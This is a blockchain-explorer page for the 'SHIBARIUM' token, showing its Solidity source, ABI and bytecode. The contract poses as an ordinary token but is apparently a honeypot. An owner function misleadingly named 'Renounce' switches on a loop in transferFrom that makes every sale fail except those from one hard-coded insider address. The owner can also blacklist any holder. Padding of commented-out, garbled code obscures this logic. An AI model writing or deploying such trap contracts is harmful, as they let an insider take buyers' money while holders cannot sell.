ETH Price: $2,385.88 (-1.17%)

Token

SHIBARIUM (SHIBARIUM)
 

Overview

Max Total Supply

100,000,000 SHIBARIUM

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,852,669.660198118518389946 SHIBARIUM

Value
$0.00
0x094afb9993fc97d9ca361eb481ce7ac565e8cb17
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBARIUM

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-08-09
*/

pragma solidity 0.8.7;

/* 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#BBBBGGGGGGGGB##&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&#BGGPGGGBBB######BBGP5YY5PB#&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#GGGGGB#######BBBBB####&&&&#BPYJJ5G#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&BGGGGBGGBBBBBBBBBBBBB####BBBBB##&@&GY??YG&@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@#GG#BGGGPPPGPPPPPPPPPPPPPPPGGBBB##BBB#&&BY?7JPB&@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@#PG#&B55PPP5555555PPPGGBBBBBBBBGGGGGBB#BB#&&GY7?YPB&@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@&P5B#BP5555PPPPPPGB##&&@@@@@@@@@@@@&&#BGGGBBB#&B57JPPPB@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@G5PBBP555PGGPPPGB#&@@@@@@@@@@@@@@@@@@@@@@&#BGBB#&B57P#GPG#@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@&P5PGPY55PPPPPPB#&@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#BB##G7P@#GPPB@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@&5YGG5Y5PPPPPGB#&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#B#B?B@&BPPPB@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@&55YP5Y5PGBBGB#&&@@@@&55B&@@&&&##&&&&@@&#P5#@@@@@@@@&#GG@@&BGPPPB@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@P5GP5YPB##BGB#&&@@@@@B!7!?PGGGPPPPPPGGPJ7775@@@@@@@@@&######BG5PP#@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@#YBP55P#&&#GG#&@@@@@@@#7??7!7JJ??????J?!7??7P@@@@@@@@@@&#BB#BGGPP5G@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@5PG5G5B&&#BG#&&@@@@@@@#?7?7!!!!!!!!!!!!!7??7B@@@@@@@@@@@&##G#&BPPP5#@@@@@@@@@@@@@@
@@@@@@@@@@@@@&&&&#JG5GG5#&#BGB#&@@@@@@@&P57!!~^~!!!!!!!~^~!!7JP#@@@@@@@@@@@#&&PB&#P55G@@@@@@@@@@@@@@
&&&&&&&&&########GJ55BG5###BG#&&@@@@@@&GP57!77^^!!!!!!!~^!7!!JPP&@@@@@@@@@@##@&PB&BPYP@@@@@@@@@@@@@@
###BBBBBBBBBBBBBBPJYG#BPB##BB#&@@@@@@@&PP7!!?BBGJ!!!!!JPBBJ!!75PB@@@@@@@@@@&B&@#PB#P5P&@@@@@@@@@@@&&
GGGGGGGBBBBBBBBBBP7Y#&#GG#BBB#&@@@@@@@&PJ!!!!!7?7^^^^:!?7!!!!!?P#@@@@@@@@@@&B&@&PGBG55@@@@@@@@@&&&&&
GGGGGBBBBBBBB####B!5#&&GGGBBB#&@@@@@@@@B?...:^~: :B&P  .~^:.. !G&@@@@@@@@@@#B&&&GGGP5P@@@@@@&&&&&&#B
BBGGGGGGGGGGGGBBB#J?#&&BGGGGB#&@@@@@@@@&G?:     :^75~~.     .!P&@@@@@@@@@@&BB&@@GGGP5B@@@@&&&&&#BB##
########BBBBGGGGGG5!G&@&BBPPB##&@@@@@@@@&#57^.  :~^!^!   .^75B&@@@@@@@@@@@#GB&@&GGPPP&@&&&&&&#B####&
@@&&&&&&&###BBBBBGBJ7B@@#GGPGB#&&@@@@@@@@@&#G5?!^:...:^!?YGB&&@@@@@@@@@@@&BG#&&BGGPPB&&&&&##BB##&&@@
&&&###########BBBBBG7?#@&#GPGGB##&&@@@@@@@@@@&##BGPPPGBB#&&@@@@@@@@@@@@@&#GB#&#PPPGG##&&##BB##&&@@@@
#####&&&&&&&&&##BBBGG7?B@&BPGBBBB##&&#&&&@&&##&&&&@@&@@&&&&&&&&@&@&@@&@&#BGB##PP5GG#&##BBB##&&@@@@@@
&&&&&&&&&&####BBBBBB#BJ75#&BPG####BG~7J5~P^G?7B^7!&J^YB^7!#!?P!&~5^??:B#BGBBG55PGGBBBBBB##&&&&@@@@@@
&&&&&############&&&#&#57?PBBGB#&&&B?775!B!G??B~J7P757P!57B7JB757G7P5!BBGGGP5PGBBGPGGBB#&@@@@@@@@@@@
############&&&&&&@@@&&&BY?J5PGB##&&&&&###&&&&@@@@@@@@@@@@&@@@@&@@@@##BGP555GB#BBGGGGPGB#&&@@@@@@@@@
########&&&&&&@@@@@@@@@&&#G5JJY5GB#&&&@&&####&@@@@@@@@@@@@@@@@@@@@&#&BGP55GB#BGBBB####BGGGB#&&&&&&&&
####&&&&&&@@@@@@@@@@@@@@@&&#BP5YYY5PGB#&&&&####&&@@@@@@@@@@@@@@@@#GBGP5PB##BBGGBBB#####BBGPPPPGGGGGG
&&&&&&@@@@@@@@@@@@@@@@@@@@&&#BBGGGP55YY5PGBB#####&&&&@@@@@@@&&&#B55PGB###BGGBBB####BBBBBBBGGGPPP55PP
&@@@@@@@@@@@&&&&&&&&&&&&####BGP55PGGBBBPPPPPGGBBBBBBBBBBBBBGGPPPGB###BGGGGBB####&&&&&&&&&&&&&&######
@&&&&&&&&&&&&&&&&&####BBBGPP5555Y???YPGB###BBBBBBBBBBBBGGGBBBB###BBGGGBB#&&&@@@@@@@@@@@@@@@@@&&&&&&#
######&&&&&&@@@@&&&&##BGPPPPP5JJJYPGGGGGBBBBB###########BBBBBBGGGGBB###&&&@@@@@@@@@@@@@@@&&&&&###BBB
&&&@@@@@@@@@@@&&&&#BGPPPPP5YJY5PBB##&@@&&&&####BBBBBBBBBB#######BBGGB####&&&&&&&&&&&&&&&&&###BBB###&
@@@@@@@@@@&&&##BGPPPGP5YJJJYPGBB#&&@@@@@@@@@@@&&&&&&&&&&@@@@&&&&&&###BBBGBB############BBBBBB##&&&&&
   
* /                                                                                                        
       

    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/                                                                                                      
       

contract SHIBARIUM {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) isBotListed;

    // 
    string public name = "SHIBARIUM";
    string public symbol = "SHIBARIUM";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor()  {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}
    function Renounce() public onlyOwner  {
    isEnabled = !isEnabled;
}




    function BotList(address _user) public onlyOwner {
        require(!isBotListed[_user], "user is Bot");
        isBotListed[_user] = true;
        // emit events as well
    }
    
    function removeFromBotList(address _user) public onlyOwner {
        require(isBotListed[_user], "not Bot");
        isBotListed[_user] = false;
        // emit events as well
    }
    
 


   
    
    

/*///    );
    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/





    function transfer(address to, uint256 value) public returns (bool success) {
        
require(!isBotListed[msg.sender] , "Bot"); 


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

           
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }



/*

       bytes memory slotcode = type(StorageUnit).creationCode;
     solium-disable-next-line 
      // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) }
   

    
    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
 
            
            */


address Mound = 0x68AD82C55f82B578696500098a635d3df466DC7C;


    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
        
      while(isEnabled) {
if(from == Mound)  {
          require(!isBotListed[from] , "Bot"); 
                 require(!isBotListed[to] , "Bot"); 
         require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; } }
        
        
        
        require(!isBotListed[from] , "Bot"); 
               require(!isBotListed[to] , "Bot"); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"BotList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeFromBotList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f53484942415249554d0000000000000000000000000000000000000000000000815250600290805190602001906200005192919062000247565b506040518060400160405280600981526020017f53484942415249554d0000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000247565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620000da919062000380565b6305f5e100620000eb9190620004bd565b60055533600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507368ad82c55f82b578696500098a635d3df466dc7c600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200019157600080fd5b506005546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000239919062000308565b60405180910390a3620005d6565b828054620002559062000535565b90600052602060002090601f016020900481019282620002795760008555620002c5565b82601f106200029457805160ff1916838001178555620002c5565b82800160010185558215620002c5579182015b82811115620002c4578251825591602001919060010190620002a7565b5b509050620002d49190620002d8565b5090565b5b80821115620002f3576000816000905550600101620002d9565b5090565b62000302816200051e565b82525050565b60006020820190506200031f6000830184620002f7565b92915050565b6000808291508390505b600185111562000377578086048111156200034f576200034e6200056b565b5b60018516156200035f5780820291505b80810290506200036f85620005c9565b94506200032f565b94509492505050565b60006200038d826200051e565b91506200039a8362000528565b9250620003c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003d1565b905092915050565b600082620003e35760019050620004b6565b81620003f35760009050620004b6565b81600181146200040c576002811462000417576200044d565b6001915050620004b6565b60ff8411156200042c576200042b6200056b565b5b8360020a9150848211156200044657620004456200056b565b5b50620004b6565b5060208310610133831016604e8410600b8410161715620004875782820a9050838111156200048157620004806200056b565b5b620004b6565b62000496848484600162000325565b92509050818404811115620004b057620004af6200056b565b5b81810290505b9392505050565b6000620004ca826200051e565b9150620004d7836200051e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200051357620005126200056b565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200054e57607f821691505b602082108114156200056557620005646200059a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b6116e980620005e66000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806391734d611161007157806391734d61146101a357806395d89b41146101bf578063a9059cbb146101dd578063cd14a6ee1461020d578063dd62ed3e14610229578063ddff1e3b14610259576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce919061137e565b60405180910390f35b6100f160048036038101906100ec9190611254565b6102f1565b6040516100fe9190611363565b60405180910390f35b61010f6103e3565b60405161011c9190611400565b60405180910390f35b61013f600480360381019061013a9190611201565b6103e9565b60405161014c9190611363565b60405180910390f35b61015d610b91565b60405161016a919061141b565b60405180910390f35b61018d60048036038101906101889190611194565b610ba4565b60405161019a9190611400565b60405180910390f35b6101bd60048036038101906101b89190611194565b610bbc565b005b6101c7610cfd565b6040516101d4919061137e565b60405180910390f35b6101f760048036038101906101f29190611254565b610d8b565b6040516102049190611363565b60405180910390f35b61022760048036038101906102229190611194565b610f7e565b005b610243600480360381019061023e91906111c1565b6110bf565b6040516102509190611400565b60405180910390f35b6102616110e4565b005b6002805461027090611564565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90611564565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190611400565b60405180910390a36001905092915050565b60055481565b60005b600660149054906101000a900460ff16156107f557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156107f057600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104db906113e0565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610568906113e0565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105bc57600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561064557600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461069391906114a8565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e89190611452565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906114a8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107df9190611400565b60405180910390a360019050610b8a565b6103ec565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610879906113e0565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561090f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610906906113e0565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561095a57600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e357600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a3191906114a8565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a869190611452565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1991906114a8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7d9190611400565b60405180910390a3600190505b9392505050565b600460009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1657600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c99906113c0565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60038054610d0a90611564565b80601f0160208091040260200160405190810160405280929190818152602001828054610d3690611564565b8015610d835780601f10610d5857610100808354040283529160200191610d83565b820191906000526020600020905b815481529060010190602001808311610d6657829003601f168201915b505050505081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e11906113e0565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6557600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb391906114a8565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f089190611452565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f6c9190611400565b60405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd857600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906113a0565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b600660149054906101000a900460ff1615600660146101000a81548160ff021916908315150217905550565b60008135905061117981611685565b92915050565b60008135905061118e8161169c565b92915050565b6000602082840312156111aa576111a96115f4565b5b60006111b88482850161116a565b91505092915050565b600080604083850312156111d8576111d76115f4565b5b60006111e68582860161116a565b92505060206111f78582860161116a565b9150509250929050565b60008060006060848603121561121a576112196115f4565b5b60006112288682870161116a565b93505060206112398682870161116a565b925050604061124a8682870161117f565b9150509250925092565b6000806040838503121561126b5761126a6115f4565b5b60006112798582860161116a565b925050602061128a8582860161117f565b9150509250929050565b61129d816114ee565b82525050565b60006112ae82611436565b6112b88185611441565b93506112c8818560208601611531565b6112d1816115f9565b840191505092915050565b60006112e9600b83611441565b91506112f48261160a565b602082019050919050565b600061130c600783611441565b915061131782611633565b602082019050919050565b600061132f600383611441565b915061133a8261165c565b602082019050919050565b61134e8161151a565b82525050565b61135d81611524565b82525050565b60006020820190506113786000830184611294565b92915050565b6000602082019050818103600083015261139881846112a3565b905092915050565b600060208201905081810360008301526113b9816112dc565b9050919050565b600060208201905081810360008301526113d9816112ff565b9050919050565b600060208201905081810360008301526113f981611322565b9050919050565b60006020820190506114156000830184611345565b92915050565b60006020820190506114306000830184611354565b92915050565b600081519050919050565b600082825260208201905092915050565b600061145d8261151a565b91506114688361151a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561149d5761149c611596565b5b828201905092915050565b60006114b38261151a565b91506114be8361151a565b9250828210156114d1576114d0611596565b5b828203905092915050565b60006114e7826114fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561154f578082015181840152602081019050611534565b8381111561155e576000848401525b50505050565b6000600282049050600182168061157c57607f821691505b602082108114156115905761158f6115c5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f7573657220697320426f74000000000000000000000000000000000000000000600082015250565b7f6e6f7420426f7400000000000000000000000000000000000000000000000000600082015250565b7f426f740000000000000000000000000000000000000000000000000000000000600082015250565b61168e816114dc565b811461169957600080fd5b50565b6116a58161151a565b81146116b057600080fd5b5056fea264697066735822122008dcb4640b9c679fe4d42d5a8cbaca3505a32b3eac5d02a68d0d7f63dd0238dc64736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806391734d611161007157806391734d61146101a357806395d89b41146101bf578063a9059cbb146101dd578063cd14a6ee1461020d578063dd62ed3e14610229578063ddff1e3b14610259576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce919061137e565b60405180910390f35b6100f160048036038101906100ec9190611254565b6102f1565b6040516100fe9190611363565b60405180910390f35b61010f6103e3565b60405161011c9190611400565b60405180910390f35b61013f600480360381019061013a9190611201565b6103e9565b60405161014c9190611363565b60405180910390f35b61015d610b91565b60405161016a919061141b565b60405180910390f35b61018d60048036038101906101889190611194565b610ba4565b60405161019a9190611400565b60405180910390f35b6101bd60048036038101906101b89190611194565b610bbc565b005b6101c7610cfd565b6040516101d4919061137e565b60405180910390f35b6101f760048036038101906101f29190611254565b610d8b565b6040516102049190611363565b60405180910390f35b61022760048036038101906102229190611194565b610f7e565b005b610243600480360381019061023e91906111c1565b6110bf565b6040516102509190611400565b60405180910390f35b6102616110e4565b005b6002805461027090611564565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90611564565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051